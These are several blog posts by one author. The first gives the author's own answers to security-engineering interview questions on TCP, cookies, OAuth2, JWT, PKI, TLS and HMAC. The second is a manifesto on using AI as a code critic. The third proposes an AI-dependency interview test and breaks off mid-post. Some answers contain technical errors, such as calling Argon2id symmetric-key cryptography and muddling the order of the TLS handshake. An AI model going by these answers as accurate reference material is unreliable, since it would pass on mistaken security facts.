Series note: This post is Part 1 of my Security Engineering Interview Prep series. I am working through Saed Farah's "If I Were Starting Over as a Security Engineer in 2026" question bank — 94 questions mapped to a structured curriculum — and archiving my personal answers here as I lock each one in.

These are the answers I would give in a real phone screen. I am targeting mid-level Security Engineering roles at companies like Anthropic, GitLab, Stripe, Coinbase, Trail of Bits, and NCC Group.

Why Phone Screen Answers Belong in a Blog

The following ten questions appear in Security Engineering phone interviews. They come from Section A: Encryption, Authentication & Access of Saed Farah's question bank, and nine of the ten are flagged ★ INDISPENSABLE — meaning they appear frequently enough across mid-level Security Engineering screens that a weak answer on any of them is a disqualifying signal.

Interview prep that stays in a notebook rots. Writing answers in public forces you to be precise. Vague mental models collapse under the pressure of an interviewer's follow-up. Clear writing is the test.

Let's get into it.

Q1 — What is a Three-Way Handshake?

This is the technique used in TCP/IP connections to verify
sender and recipient of messages can communicate with each other.

Below is a quick summary of the handshake:

Sender sends an SYN packet to recipient
Recipient replies back with a SYN-ACK packet to sender
Sender replies back with an ACK packet

It is possible an attacker can trick either party into believing
they are the authentic recpient of said party's messages: an
attack known as a TCP Session Hijacking Attack.

To prevent this the TCP 3-way handshake enforces Initial Sequence
Number Randomization. Now that said party is sending a random number
it is hard for the attacker to predict what the future ISN will
be in said party's future packets--mitigating the attack.

Without doing the TCP 3-way handshake an attacker
can next attempt a Denial of Service by sending excessive SYN packets
--depleting the other party of system resources.

Curriculum anchor: Week 1–2 TCP/IP fundamentals. ★ Indispensable.

Q2 — How Do Cookies Work?

Let me first start with the rationale behind cookies.

In the modern world the user must make an effort to prove their
identity to a service. This can be done by entering a (sufficiently
complex) password, or a passkey, or biometric credentials. Users
frequently close sessions to work on something else only to come back
to the service after a brief period of time. It would annoy the user
to have to exert manual effort to prove their identity to a web
service! Had that been the case critical business models such as
Software as a Service may not have been as profitable as they are
today.

To make the user's life easier web security developers introduced
the Cookie system. After the user proves their identity through
manual effort the first time (such as by using one of the techniques
discussed previously) -- the web service passes on a Cookie which
contains secret information unique to said user. Whenever the user
revisits the web service the user's browser automatically sends the
cookie to the web service for authentication. If the secret information
is verified to be correct the user's identity is verified.

Throughout history web developers faced issues with attackers stealing
Cookies or even tricking users to submitting cookies to the web
service without their knowledge. Several security defenses to protect
cookies from theft or unwitting submission have been invented such
as the HttpOnly flag (forbids Javascript from accessing the Cookie),
the Secure flag (which only allows the cookie to be submitted upon
the browser being able to establish a valid HTTPS connection to the
target website), and the SameSite flag (which restricts the ability
of a cookie to be sent in cross-site requests), Expires flag (which
sets expiration date of cookie)--a good habit to set expiration
to minimize risk of cookie theft, Domain, and Path flags (to
restrict to which webistes and endpoints the browser is allowed
to send cookies too).

Web developers must take care to verify the secret information
received from cookies matches what is expected. They must also
be sure to set the proper security flags to avoid mismanagement
of the cookie. Finally Web Developers must be careful not to
allow the attacker to steal any secrets stored within the Cookie.
For instance if a Cookie stores a CSPRNG-generated string the
web server should NOT also store the string--only a cryptographically
secure message digest. This--and using a constant-time comparision
string function to compare message digest--are appropriate precautions
to prevent an attacker from stealing the Cookie secret.

Curriculum anchor: Week 6 — session management and secure cookie flags. ★ Indispensable.

Q3 — How Do Sessions Work?

HTTP requests are not persistent--they do not keep track of the
state of previous HTTP requests/replies. This is a downside for
users using a web-service: a person that has logged into a web service
would ideally want the web service to remember they are the true
identity as the user and that they are authorized to access/interact
with certain resources on the web service. Web developers had
to figure out a way to allow this beyond sending simple HTTP requests.

This gave birth to two important techniques for establishing and
verifying user sessions: User session cookie management and
verifying Anti-CSRF tokens. Both of these techniques require the
user to receive and store credentials that the web service verifies
upon the user revisiting the web service within the expiration
time window. This allows the web service to automatically verify
the identity of the user to access certain resources from the web
service. Precautions have been made to prevent attackers from
corrupting user sessions (see previous explanations above). Anti-CSRF
tokens prevent an attacker from tricking users into performing actions
on a cross-site that said user has a valid cookie for.

Upon logout session credentials are marked as invalid. Upon expiration
session credentials must be rejected by the web server.

Curriculum anchor: Week 6 — session management. See also: Full Stack Python Security, Chapter 3.

Q4 — Explain How OAuth2 Works

OAuth is a framework that allows a third-party service (called a
client in OAuth2) to access a protected resource on behalf of a
resource owner (the human user).

Here are the steps on the most important version of OAuth2, the
authorization grant, works. My information is taken from
"OAuth2 in Action" -- page 23. ¹

It is ideal if the client
generates a code_verifier for Proof-Key for Code Exchange. This
is a CSPRNG-generated secret. The client then can either send
the code_verifier to the Authorization Server or ideally
send the cryptographic message digest of the code_verifier
to the Authorization Server. In either case what the Authorization
Server receives is called the code_challenge. Proof-Key for Code
Exchange prevents a MITM attacker that has stolen the
authorization code from receiving an access token from the
Authorization server's token endpoint. Although ideal not
required in OAuth2. The code_challenge can be the code_verifier
itself but ideally the cryptographic message digest of the
code_verifier. Having the Authorization Server's token endpoint
store the hash, instead of the actual code_verifier protects the
code_verifier from theft if an attacker compromises the
Authorization Server's token endpoint.
The third-party service, called the client, redirects the resource
owner, or user, to the authorization endpoint. There, the user must
prove their identity using traditional authentication.
The resource owner is given the option to authorize the client.
The user manually approves.
The authorization server now redirects resource owner back
to client with authorization code.
Client authenticates by sending client credentials, authorization
code, and ideally also the Proof-Key for Code Exchange code_verifier
to the Authorization Server's token endpoint.
Authorization server sends access token to client. Ideally
the authorization server also sends a refresh token the client
can use to get a new access token should the current access token
expire.
Client accesses the protected resource after sending the access token.

Source: OAuth 2 in Action (Justin Richer & Antonio Sanso), p. 23. ¹

Curriculum anchor: Week 12 — SSO + OAuth2 + JWT. ★ Indispensable.

Q5 — Explain How JWTs Work

The following answer is straight from:

https://www.jwt.io/introduction#what-is-json-web-token ²

JWT Tokens are a compact and self-contained technique to transmit
secret information between client and server. The recipient of the
token can verify the authenticity of the message since the JWT Token
is signed.

There are two uses of JWTs:

Authorization: After the user manually authenticates themselves and
proves their identity the user is assigned a JWT Token. From that point
on for every endpoint the user accesses the server verifies the user's
identity by verifying the user's JWT Token. Developers must be
careful the JWT Token is not stolen--such as from an XSS exploit.
Secure Information Exchange: JWT Tokens are also used in the
private transfer of information. The secrecy of the JWT Token content
is protected under TLS. The authenticity of the JWT Token is protected
by HMAC or digital signature (using a private-public key pair).

There are three components to a JWT Token:

Header: Usually explains the type of token and the digital
signature algorithm being used.
Payload: This is the main content of the JWT Token--compromised
of claims.
Signature: This is either the HMAC or digital signature that
recipients can verify upon recieving the message. A valid verification
implies the message was not tampered and was sent by the claimed
sender.

Source: jwt.io — Introduction to JSON Web Tokens. ²

Curriculum anchor: Week 6 — API auth patterns. ★ Indispensable.

Q6 — What Is a PKI Flow? How Would You Diagram It?

PKI flow maps the chain-of-trust from Root Certificate Authority
to the TLS Certificate owned by a web service. The idea is all
the digital signatures of the certificates belonging to each of
these services must be verified by clients as valid before the
client (or user's browser) accepts the TLS certificate of the
web service as valid. This is a prerequisite that must be done
before the client establishes a secure HTTPS connection with
a web server.

The diagram of the flow of verification--showing the order at
which TLS Certificates are verified--are shown below:

Root Certificate validated-->Intermediate Certificates validated
-->Web Server TLS Certificate validated

There is a point to the existence of the Root Certificate.
Every browser comes with it a set of publicly known Root TLS
Certificates--so a self-signed Root TLS Certificate is sufficient
to verify that a Root TLS Certificate is valid. The Root Certificate
can be thought of as a Root of Trust for this reason. If Root
TLS Certificates are publicly acknowledged why do we have Intermediate
TLS Certificates. In case a Root Certificate is compromised it would
be costly to replace the original Root Certificate with a brand new
one. An Intermediate Certificate Authority will be much more quickly
be able to replace an invalid/stolen TLS Certificate than a Root
Certificate. The Intermediate Certificate Authority signs the TLS
Certificate of the web service the client is interested in visiting.

A self-signed TLS certificate for a web service means nothing--anyone
can make one--but only the real web service should be able to convince
an Intermediate TLS Certificate to sign the web service's TLS
Certificate. This is not to say it is impossible for Intermediate
Certificate Authorities to mis-issue TLS Certificates. To this day
it is a problem. The best mitigation of that is DNSSEC and DANE.

Although those two techniques are best practice the industry
has decided to settle with Certificate Transparency. These are
unmodifiable--append only logs of issued TLS Certificates that
site owners can check to see if a TLS Certificate has been mis-issued
for their site. Although Certificate Transparency is an industry
standard--it does NOT prevent mississuance of TLS Certificates.

To prevent mis-issuance the Certificate Authority Authorization
field in DNS records has been introduced whitelisting which
Certificate Authorities are authorized to issue TLS Certificates.

Still even this does not prevent the mis-issuance of TLS Certificates.
The best defenses to prevent mis-issuance are still DNSSEC and
DANE--despite low adoption.

To avoid the risk of theft of TLS Certificate--web services are
encouraged to replace their TLS Certificates periodically--from as
little as 3 months to no more than a year of time.

Curriculum anchor: Week 5 — cryptography basics + asymmetric key infrastructure.

Q7 — Describe the Difference Between Symmetric and Asymmetric Encryption

Symmetric-Key Cryptography uses the same key to encrypt/decrypt
information. This is the encrypion featured in password authentication,
encrypting of documents, generating HMACs, and more. Symmetric-Key
Cryptography--when using a sufficiently long and CSPRNG-generated
key--is thought to be resistant to attack by a quantum supercomputer.

Asymmmetric Encryption: In this encryption one key is used to encrypt
data and a separate key is used to decrypt data. This field begain
with the invention of Diffie-Hellman Key Exchange by cryptographers
Diffie Whitfield, Martin Hellman, and Ralph Merkle. Asymmetric
Encryption is featured in digital signatures and public-key encryption.

Unfortunately asymmetric key encryption is harder to use than
symmetric-key encryption--and this is arguably the biggest hurdle
to its adoption. Even as late as 2022 CE NIST admits it should take
two whole decades for organizations to adopt the new post-quantum
safe public-key algorithms NIST standardized. Classical Asymmetric
-Key Encryption is vulnerable to Shor's Algorithm--an algorithm
that a quantum supercomputer can execute to crack the private key
featured in classical asymmetric-key encryption.

Some examples of algorithms that fall under symmetric-key cryptography:

AES, HMAC-SHA-256, Argon2ID

Some examples of asymmetric-key encryption algorithms:

Diffie-Hellman Key Exchange, RSA, Kyber-1024, Dilithium

Curriculum anchor: Week 5 — cryptography basics. ★ Indispensable. Pre-loaded from Intel ChaCha20 (symmetric) + XMSS (asymmetric post-quantum signatures).

Q8 — Describe the TLS Handshake

The following gives the steps for the Handshake:

Client sends ClientHello Message:

a. Details which algorithms the client wants to use.

b. Client sends it public key for key exchange in this message
Server responds with ServerHello:

a. Tells client which algorithm(s) the server chose.

b. Client recives server's public key for key exchange

2.5. Both Client and Server independenty derive premaster secret
from ECDHE shared secret. The ECDHE shared secret is derived during
ECDHE key exchange. Used later in MAC verification to verify
no MITM attack took place during TLS Handshake.

Server sends TLS Certificate to client

a. Has server's public key and identity information

b. Includes certificate chain.
Server sends CertificateVerify message.

a. Contains signature over ClientHello + ServerHello +
Certificate Transcript.

b. This proves server owns the private key corresponding to
the public key in the TLS certificate.
Server sends "Finished" Message with MAC

a. Contains a MAC over the entire handshake transcript.
```
i. Client must first verify public key in TLS
```
Certificate is valid before verifying MAC. This avoids the
Diffie-Hellman MITM where the attacker sends ECDHE public keys
to victim whose private keys the attacker has knowledge of.
Client verifies TLS Certificate Chain

a. Starting from TLS Certificate of the website, past
Intermediate Certificates, up to the Root TLS Certificate of the
website. All signatures must be valid. If at any point a signature is
found to be invalid the client must reject the TLS certificate and
refuse to establish a TLS connection with the website. At that point it
is possible the website is a fake.
Client Derives Session Keys to Verify MAC

a. Client derives session keys using HKDF from premaster
secret to verify MAC Server sent over TLS Handshake Transcript (
ClientHello + ServerHello + TLS Certificate). This proves no MITM
attack took place.
Client sends "Finished" Message

a. Client reports it finished verifying server's identity by
sending "Finished" message

b. Client sends a MAC to server over entire handshake
transcript. Server verifies MAC is correct. This proves there
was not MITM in the handshake process.
Encrypted Communication Between Client and Server Begins

a. Encrypted Communication in TLS takes place in TLS 1.3
with AEAD ciphers.

Curriculum anchor: Week 2 — TLS/HTTPS networking. ★ Indispensable.

Q9 — How Does HMAC Work?

A Hash-based Message Authentication Code is built on a cryptographic
message digest. To use an HMAC a user must supply a secret key
and a document as two arguments. The HMAC will generate an ID
number unique to the secret key and document pair. The recipient
of a message can then verify that a message was truly sent
by the alleged sender by recalculating the HMAC and verifying the
HMAC sent by the sender matches the one the recipient recalculated.

Security Engineering Interviews care less on the math behind
how algorithms work and more on how to make use of them.

Curriculum anchor: Week 5 — cryptography basics. Pre-loaded from Intel crypto implementations.

Q10 — Why Is HMAC Designed the Way It Is?

Resource: Understanding Cryptography Second Edition ³

HMACs are designed the way they are to avoid common attacks against
MACs: including the suffix and prefix attacks--and HMACs are designed
the way they are since they make use of cryptographic message digest
functions--which are widely available in software cryptographic
libraries to implement and are much easier to program securely
than block ciphers--the alternative building block used to make
a MAC. HMACs are widely used instead of MACs built on block ciphers
since HMACS are easier to prove to be secure even if the hash
featured in HMAC is found to be weak against collision resistance or
weak in second preimage resistance--under certain assumptions.

Source: Understanding Cryptography, 2nd Edition (Christof Paar & Jan Pelzl). ³

Curriculum anchor: Week 5 — cryptography basics. ★ Indispensable.

Where These Questions Sit in the Curriculum

Question	★ Indispensable?	Curriculum Week	Status
Q1 — TCP Three-Way Handshake	★ Yes	Week 1	✅ Pre-loaded
Q2 — How Cookies Work	★ Yes	Week 6	🔵 Near-term
Q3 — How Sessions Work	No	Week 6	🔵 Near-term
Q4 — OAuth2	★ Yes	Week 12	🟣 Build toward
Q5 — JWT	★ Yes	Week 6	🔵 Near-term
Q6 — PKI Flow	No	Week 5	✅ Pre-loaded
Q7 — Symmetric vs. Asymmetric	★ Yes	Week 5	✅ Pre-loaded
Q8 — TLS Handshake	★ Yes	Week 2	✅ Pre-loaded
Q9 — HMAC	No	Week 5	✅ Pre-loaded
Q10 — Why HMAC Is Designed That Way	No	Week 5	✅ Pre-loaded

What's Next

Part 2 will cover Q11–Q17 — the remainder of Section A — including Perfect Forward Secrecy, data-at-rest encryption strategy, authentication vs. authorization, and Kerberos/Diffie-Hellman/RSA distinctions.

Part 3 will move into Section B: Network Security, Protocols & Logging — the largest section at 36 questions.

References

This post is part of my public Security Engineering interview prep series. I am building toward a full-time Security Engineering role and maintaining an open-source project — SecEng-Exercises on GitHub — that curates high-quality, secure code datasets to train AI to write more secure code. Follow along on Dev.to.

Justin Richer & Antonio Sanso. OAuth 2 in Action. Manning Publications, 2017. p. 23 — Authorization Code grant flow and PKCE extension. ↩
JSON Web Tokens — Introduction. jwt.io/introduction. ↩
Christof Paar & Jan Pelzl. Understanding Cryptography, 2nd Edition. Springer, 2010. HMAC construction and attack analysis. ↩

Let Humans Write. Let AI Critique -- A Manifesto for Security Engineers

fosres — Sun, 22 Mar 2026 17:12:48 +0000

The evidence is in. AI-generated code ships more security vulnerabilities than human-written code. The solution is not to abandon AI — it is to use it for what it actually does well: finding flaws before the code exists.

Therefore let humans design and write code. Let AI critique every stage of development.

01 — The Problem Is Not That AI Exists. It Is That We Gave It the Pen.

Every week another team mandates AI coding assistants. Every quarter another report confirms the same thing: the code those assistants write is measurably less secure than code written by a careful human developer. This is not a matter of opinion. The data is replicated across multiple independent studies, multiple languages, and multiple AI models.

"Critical and major defects are up to 1.7x higher in AI-authored changes. Logic and correctness issues rise 75%, including business logic errors, misconfigurations, and unsafe control flow. Security vulnerabilities rise 1.5–2x, especially improper password handling and insecure object references."

— CodeRabbit, State of AI vs Human Code Generation Report, December 2025 (470 open-source GitHub PRs)

The pattern holds at the architectural level, not just the line level. When Apiiro analyzed Fortune 50 enterprise repositories, the findings were significantly more severe than surface-level vulnerability counts suggest.

"Our analysis shows trivial syntax errors in AI-written code dropped by 76%, and logic bugs fell by more than 60%. But the tradeoff is dangerous: those shallow gains are offset by a surge in deep architectural flaws. Privilege escalation paths jumped 322%, and architectural design flaws spiked 153%. These are the kinds of issues scanners miss and reviewers struggle to spot – broken auth flows that look correct but aren't."

— Apiiro, 4× Velocity, 10× Vulnerabilities: AI Coding Assistants Are Shipping More Risks, September 2025

AI is excellent at eliminating shallow bugs — the typos, the off-by-ones, the missing null checks. It fails precisely where it is most dangerous to fail: trust boundaries, authorization logic, cryptographic implementation, and the systemic design flaws that span multiple files and services.

By the numbers

Stat	Source
1.7× more security vulnerabilities in AI-authored PRs vs. human PRs	CodeRabbit, Dec 2025
322% increase in privilege escalation paths with AI coding assistants	Apiiro, Sep 2025
37.6% increase in critical vulnerabilities after just 5 AI refinement iterations	arXiv:2506.11022, IEEE-ISTAS 2025
45% of AI-generated code samples failed security tests across 100+ LLMs	Veracode GenAI Code Security Report, 2025

02 — Asking AI to Revise Its Own Code Makes It Worse, Not Better.

An intuitive response to insecure AI-generated code is to prompt the AI to fix it. Ask it to review, to harden, to patch. This is the wrong instinct. The research is unambiguous: iterative AI refinement degrades security rather than improving it.

"This paper analyzes security degradation in AI-generated code through a controlled experiment with 400 code samples across 40 rounds of 'improvements' using four distinct prompting strategies. Our findings show a 37.6% increase in critical vulnerabilities after just five iterations, with distinct vulnerability patterns emerging across different prompting approaches. This evidence challenges the assumption that iterative LLM refinement improves code security and highlights the essential role of human expertise in the loop."

— Shukla, Joshi & Syed, Security Degradation in Iterative AI Code Generation: A Systematic Analysis of the Paradox, arXiv:2506.11022, accepted IEEE-ISTAS 2025

The mechanism is not accidental. Each refinement pass takes the previous output as ground truth, compounding flaws rather than eliminating them. An authorization bug introduced in iteration one is baked deeper into the architecture by iteration five. The AI has no threat model for your system. It has patterns. And it applies them recursively.

"LLMs don't understand your architecture, context, or risk - they mimic patterns, not purpose. A fix that looks right might violate your access control model. A cleanup might strip away a critical logging statement. And unless someone's there to catch it, you'll only find out when it's too late."

— Symbiotic Security, Exploring Security Degradation in Iterative AI Code Generation, July 2025

03 — The One Variable That Reduces Vulnerabilities: Trust the AI Less.

This finding from Stanford is the most important result in this entire literature for practicing security engineers. It does not say AI is useless. It says the engineers who got better security outcomes were the ones who engaged critically — who questioned, rephrased, and rejected AI suggestions rather than accepting them.

"...participants who had access to an AI assistant wrote significantly less secure code than those without access to an assistant. Participants with access to an AI assistant were also more likely to believe they wrote secure code, suggesting that such tools may lead users to be overconfident about security flaws in their code."

— Perry, Srivastava, Kumar & Boneh (Stanford/UC San Diego), Do Users Write More Insecure Code with AI Assistants? ACM CCS 2023, arXiv:2211.03622

This is not a call to stop using AI. It is a precise description of how to use it. The security benefit does not come from AI generating code. It comes from human judgment evaluating AI criticism. Those are structurally different workflows with measurably different outcomes.

"The security benefit comes from human judgment evaluating AI criticism — not from AI generating code."

04 — What AI Actually Does Well: Finding Flaws Before the Code Exists.

There is real positive evidence for AI in security — but it is concentrated in AI as a reviewer and critic, not as a writer. The Gemini user study published in March 2026 found meaningful reductions in specific vulnerability categories when developers used AI assistance for review.

"When considering the individual vulnerabilities, Gemini assistance led to approximately 21.7% fewer vulnerabilities in password storage and 10.5% fewer in SQL vulnerabilities. However, participants still faced challenges, such as Gemini suggesting outdated libraries or omitting hashing recommendations. XSS vulnerabilities were improved by only 3.5% with the use of Gemini. CSRF and improper input validation seemed almost not to be influenced by Gemini usage."

— Jost et al., The Impact of AI-Assisted Development on Software Security: A Study of Gemini and Developer Experience, arXiv:2603.15298, March 2026

The pattern is clear: AI critique of specific, well-defined security properties helps. AI as an autonomous author does not. The right architecture for your workflow follows directly from that finding.

This maps to what software engineering has understood for decades about defect economics. Catching a design flaw at the requirements stage costs nearly nothing. Catching it in production costs orders of magnitude more. AI critics operating at the design, architecture, and specification stage apply pressure exactly where it is cheapest to respond to it.

"Finding and fixing vulnerabilities in production is orders of magnitude more expensive than preventing them during development. A skilled development team will write fewer insecure lines of code, resulting in fewer security findings, less rework, and a faster, more efficient delivery cycle."

— SANS Institute, Why Security Tools Alone Won't Secure Your Code — and What Developers Really Need, September 2025

05 — The Workflow: AI as Critic at Every Stage of the SDLC.

The principle is simple. Humans write. AI criticizes. At every stage. Not after the code is written and shipped — at every decision point in the development lifecycle, from requirements through architecture through implementation to review. Here is what that looks like in practice.

Stage	Role
Requirements	AI Critic asks: What are the trust boundaries here? Who can call this? What data flows through it? What invariants must hold? Human defines the security requirements based on that challenge.
Architecture	AI Critic asks: Where are the privilege escalation paths? What happens if this service is compromised? What data does each component have access to? Human redesigns based on STRIDE analysis of the critique.
API Design	AI Critic asks: Is authorization checked at the right layer? What happens with a null input, a unicode bomb, an oversized payload? Human writes the spec that answers those questions.
Implementation	Human writes the code. AI does not author it. AI may be asked to explain a library's security properties, or to confirm that a proposed pattern is safe — but the implementation decision is human.
Code Review	AI scans for pattern-based issues: Semgrep, Bandit, CodeQL. Human triages findings against the threat model established in earlier stages. AI cannot determine exploitability — that judgment is human.

This workflow is consistent with OWASP's own guidance on AI-assisted development, published in the OWASP Top 10 2025 Next Steps section:

"You should be able to read and fully understand all code you submit, even if it is written by an AI or copied from an online forum. You are responsible for all code that you commit. You should review all AI-assisted code thoroughly for vulnerabilities, ideally with your own eyes and also with security tooling made for this purpose (such as static analysis)."

— OWASP Top 10 2025 — Next Steps (X01:2025), owasp.org/Top10/2025/X01_2025-Next_Steps/

06 — The Expert Advantage: Threat Modeling Is What the AI Cannot Replicate.

The reason experienced security engineers get better outcomes from this workflow than junior developers is precisely because AI criticism is only as useful as the human evaluating it. The AI surfaces a list of concerns. The expert maps each concern against a real threat model — your specific system, your actual attack surface, your deployment context.

"AI can accelerate the mechanics of threat modeling, but developers still need to understand the fundamentals: how to think about trust boundaries, how to identify assets worth protecting, and how to anticipate how attackers might abuse a feature."

— CSO Online, The New Paradigm for Raising Up Secure Software Engineers, February 2026

This is not a reason for junior engineers to abandon the workflow. It is a reason for organizations to invest in security fundamentals alongside AI tooling. The OpenSSF has documented precisely what those fundamentals look like in the context of AI code assistants.

"Assume AI-written code can have bugs or vulnerabilities, because it often does. AI coding assistants can introduce security issues like using outdated cryptography or outdated dependencies, ignoring error handling, or leaking secrets."

— OpenSSF Best Practices Working Group, Security-Focused Guide for AI Code Assistant Instructions, best.openssf.org

The Principles. With Their Sources.

→ Humans write the code. AI-generated code ships 1.7× more security vulnerabilities than human-written code in production repositories.
— CodeRabbit State of AI vs Human Code Generation, Dec 2025

→ Do not ask AI to fix its own output. After five AI refinement iterations, critical vulnerabilities increase by 37.6%.
— Joshi et al., arXiv:2506.11022, IEEE-ISTAS 2025

→ AI is a critic, not a coauthor. Engaging critically with AI output — not accepting it passively — is what produces fewer vulnerabilities.
— Perry, Srivastava, Kumar & Boneh, ACM CCS 2023, arXiv:2211.03622

→ Critique at design time is cheaper than scanning at ship time. Finding and fixing vulnerabilities in production costs orders of magnitude more than preventing them at design.
— SANS Institute, September 2025

→ Threat modeling is the human skill AI cannot replace. AI surfaces concerns. Experts map them against real threat models.
— CSO Online, February 2026

→ You are responsible for all code you commit, regardless of whether AI suggested it.
— OWASP Top 10 2025, X01:2025 Next Steps

Want to Practice This?

I'm building a repository of LeetCode-style secure coding exercises — the kind of challenges that train the threat modeling instinct this workflow depends on. Each exercise includes a 60+ test suite and a companion post.

If you think high-quality, human-written secure code is the right training data for AI models, and you want to practice writing it yourself:

⭐ Star the repo on GitHub → github.com/fosres/SecEng-Exercises

Every star helps the project reach more security engineers who want to sharpen this exact skill.

One Quick Question

I write these posts to be useful, and I want to know what's actually useful to you.

→ Take the 30-second poll: Why do you read my blog posts?

No signup, no email — just one click. The results directly shape what I write next.

Security Engineering Series · dev.to/fosres · March 2026 · All citations link to primary sources

The LLM Dependency Test: A New Way to Interview Software Engineers in the Age of AI

fosres — Sun, 22 Mar 2026 02:57:42 +0000

The LLM Dependency Test: A New Way to Interview Software Engineers in the Age of AI

Tags: ai, career, security, productivity

The Pentagon recently discovered that it could not comply with its own Secretary of Defense's direct order to remove an AI tool from its weapons targeting system. Not because the order was classified. Not because of a bureaucratic delay. Because the targeting workflows were so deeply embedded in that single commercial AI that the military — with a $900 billion annual budget and the entire US defense industrial base behind it — literally could not finish the job without it.

The same week, Pentagon staff resorted to Microsoft Excel to handle tasks previously managed by the AI.

This is not a story about the Pentagon. This is a story about every software team that has quietly built itself into the same trap — just at a smaller scale and with lower stakes.

The Problem Nobody Is Naming

There is a growing and largely unacknowledged skill crisis forming underneath the surface of AI-assisted software development.

A generation of engineers is learning to build with AI as a first-class team member. They are shipping features faster, writing tests more confidently, navigating unfamiliar codebases with ease. By every observable metric, they are more productive than engineers who came before them.

But strip away the AI — network outage, service disruption, vendor dispute, policy change — and a disturbing number of them cannot finish what they started.

The problem is not that they use AI. The problem is that the AI has become load-bearing infrastructure in their cognitive workflow. The understanding of what is being built, the reasoning behind architectural decisions, the ability to close the last 10% of a project under pressure — all of it has migrated into the chat window.

When the chat window goes dark, so does the team.

The Horror Story Is Real

On March 17, 2026, Claude went down for roughly five hours. Over 6,800 users reported problems. Developers working in Claude Code described it as a "snow day." They were mid-project. They stopped. (Source: 6,800 users report Claude AI down in major today outage, Rolling Out, March 17, 2026)

That is the benign version of the story. A team misses a deadline. A deployment slips. A demo gets rescheduled.

The catastrophic version is Palantir's Maven Smart System — a billion-dollar defense platform for intelligence analysis and weapons targeting — built so thoroughly on Claude Code prompts and workflows that recertifying it with a replacement model will take twelve to eighteen months according to defense contractors. Meanwhile the military is using it anyway, in an active conflict, in defiance of its own Secretary's order, because there is no alternative ready.

"Removing Claude will be a major undertaking. For example, Palantir's Maven Smart Systems — a software platform that supplies militaries with intelligence analysis and weapons targeting — uses multiple prompts and workflows that were built using Anthropic's Claude Code... Palantir will have to replace Claude with another AI model and rebuild parts of its software."

— Reuters / Military Times, Hegseth wants Pentagon to dump Claude, but military users say it's not so easy, March 19, 2026

"Tasks previously handled by Claude, such as querying large datasets for information, are in some cases now being done manually with tools such as Microsoft Excel."

— Reuters / U.S. News, Hegseth Wants Pentagon to Dump Anthropic's Claude, but Military Users Say It's Not So Easy, March 19, 2026

"An internal Pentagon memo said use of Anthropic's tools may continue beyond the six-month period if deemed 'mission-critical' with no viable alternative."

— CNBC, Palantir is still using Anthropic's Claude as Pentagon blacklist plays out, March 12, 2026

The underlying engineering failure is identical in both cases. A single external dependency became load-bearing. No fallback was built. The humans forgot how to execute without the tool.

Introducing the LLM Dependency Test

What if we could identify this problem before we hire — or before we deploy — rather than discovering it at the worst possible moment?

Here is a proposed interview format that directly measures the skill that actually matters:

Phase 1 — AI-Assisted Development

The candidate begins working on a novel software project with full access to their preferred LLM assistant. The project is unique to each candidate and each session. The AI helps them build. The candidate directs, reviews, and integrates the output. This phase continues for a set window of time — say, sixty to ninety minutes.

Phase 2 — The Cutoff

At a moment chosen at random within Phase 1, the AI is cut. No warning. No graceful transition. The service simply becomes unavailable, exactly as it would in a real outage.

Phase 3 — The Finish

The candidate must complete the remaining work without any LLM assistance. They have access to documentation, Stack Overflow, their own notes — everything a working engineer would have. Just not the AI.

The Evaluation

The test measures two things simultaneously:

First, what did the candidate do before the cutoff? Did they write clear comments? Did they commit incrementally? Did they ask the AI clarifying questions that forced explicit specification? Or did they passively accept generated output without building their own understanding of it? Their behavior during the AI-assisted phase reveals their architecture instincts.

Second, what do they do after the cutoff? Do they panic or shift gears? Can they read the AI-generated code they were steering and continue it coherently? Can they close the gap between where they are and a working deliverable?

A candidate who passes is not just good at using AI. They are good at engineering. The AI made them faster. Their fundamentals make them resilient.

What the Test Is Really Measuring

This test does not measure raw coding speed. It does not measure prompt engineering skill. It does not measure whether a candidate has memorized syntax or API signatures.

It measures mental model quality.

If a candidate genuinely understood the project as it was being built — if they were directing the AI rather than following it — then the cutoff is an inconvenience. They know what remains. They know why each piece exists. They can continue.

If the candidate was watching the AI generate and clicking accept, the cutoff is a wall. They have working code they do not understand, a half-finished project with undocumented reasoning, and no map forward.

The test surfaces the difference in about fifteen minutes.

The Architectural Principle Behind the Test

The insight the test is built on is simple: the dependency on AI is not the problem. The architecture of that dependency is.

A surgeon using a robotic system is not helpless when the system malfunctions — because their manual surgical skills are maintained. The robot made them more precise, not more dependent. Their training preserved the fallback.

An engineer who builds with AI as acceleration on top of solid fundamentals is not helpless when the AI goes down. The AI made them faster, not dependent. Their fundamentals preserved the fallback.

The test identifies which kind of engineer you are hiring. Not by asking. By showing.

Why This Matters More in Security Engineering

For security engineers specifically, the stakes of AI dependency are compounded.

AI coding agents introduced into security workflows — for code review, vulnerability scanning, threat modeling — generate working outputs that can appear correct while containing subtle flaws. The DryRun Security study from March 2026 found that Claude Code, OpenAI Codex, and Google Gemini all introduced broken access control, OAuth implementation failures, and business logic vulnerabilities into every application they were tasked to build from scratch.

A security engineer who cannot independently audit AI-generated code is not a security engineer. They are a human rubber stamp on an AI output pipeline.

The LLM Dependency Test applied to a security engineering candidate would reveal immediately whether they can actually read and reason about code — or whether they can only steer an AI that reads and reasons for them.

In security, that distinction is the difference between a defended system and a breach waiting to happen.

The Second-Order Effect

Here is the part of this proposal I find most interesting.

The moment a test like this exists and becomes known in the industry, it changes how candidates prepare. Engineers who know they will face a mid-project AI cutoff in their interviews cannot afford to let their fundamentals atrophy. They have to actually build their skills without the AI, not just alongside it.

The test does not just filter for the right candidates. It shapes the behavior of the candidate pool before anyone sits down to take it.

Most interview formats test for skills that candidates develop in order to pass the interview. This test forces candidates to develop the skill that protects them — and the teams that hire them — for the rest of their careers.

A Note on What This Is Not

This is not an argument against using AI tools. Engineers who use AI assistants well are genuinely more productive. The data is clear on that.

This is an argument for using AI tools in the right architectural relationship — as acceleration on top of maintained human capability, not as a replacement for it.

The Pentagon did not fail because it used AI. It failed because it forgot to remain capable without it. The distinction is everything.

The Challenge to the Industry

If you are running engineering interviews in 2026, consider adding a version of this test to your process. The implementation details are yours to design — the cutoff timing, the project scope, the evaluation rubric. But the core structure is sound.

If you are preparing for engineering interviews, consider what it would mean to face this test unprepared. Then build accordingly.

And if you are an engineering manager who has watched your team slow-roll to a halt every time a major AI service goes down — you already know what this test is measuring. The question is whether you hire for it before the next outage, or discover the gap during one.

This post is based on a conversation about AI-assisted software engineering, the March 2026 Anthropic-Pentagon dispute, and what the engineering profession is not yet asking about AI dependency. The LLM Dependency Test concept was proposed by Tanveer Salim.

The Throughput Problem — And Why Option 3 Solves It

After I proposed the LLM Dependency Test, a sharp critic raised a problem the test does not fully address.

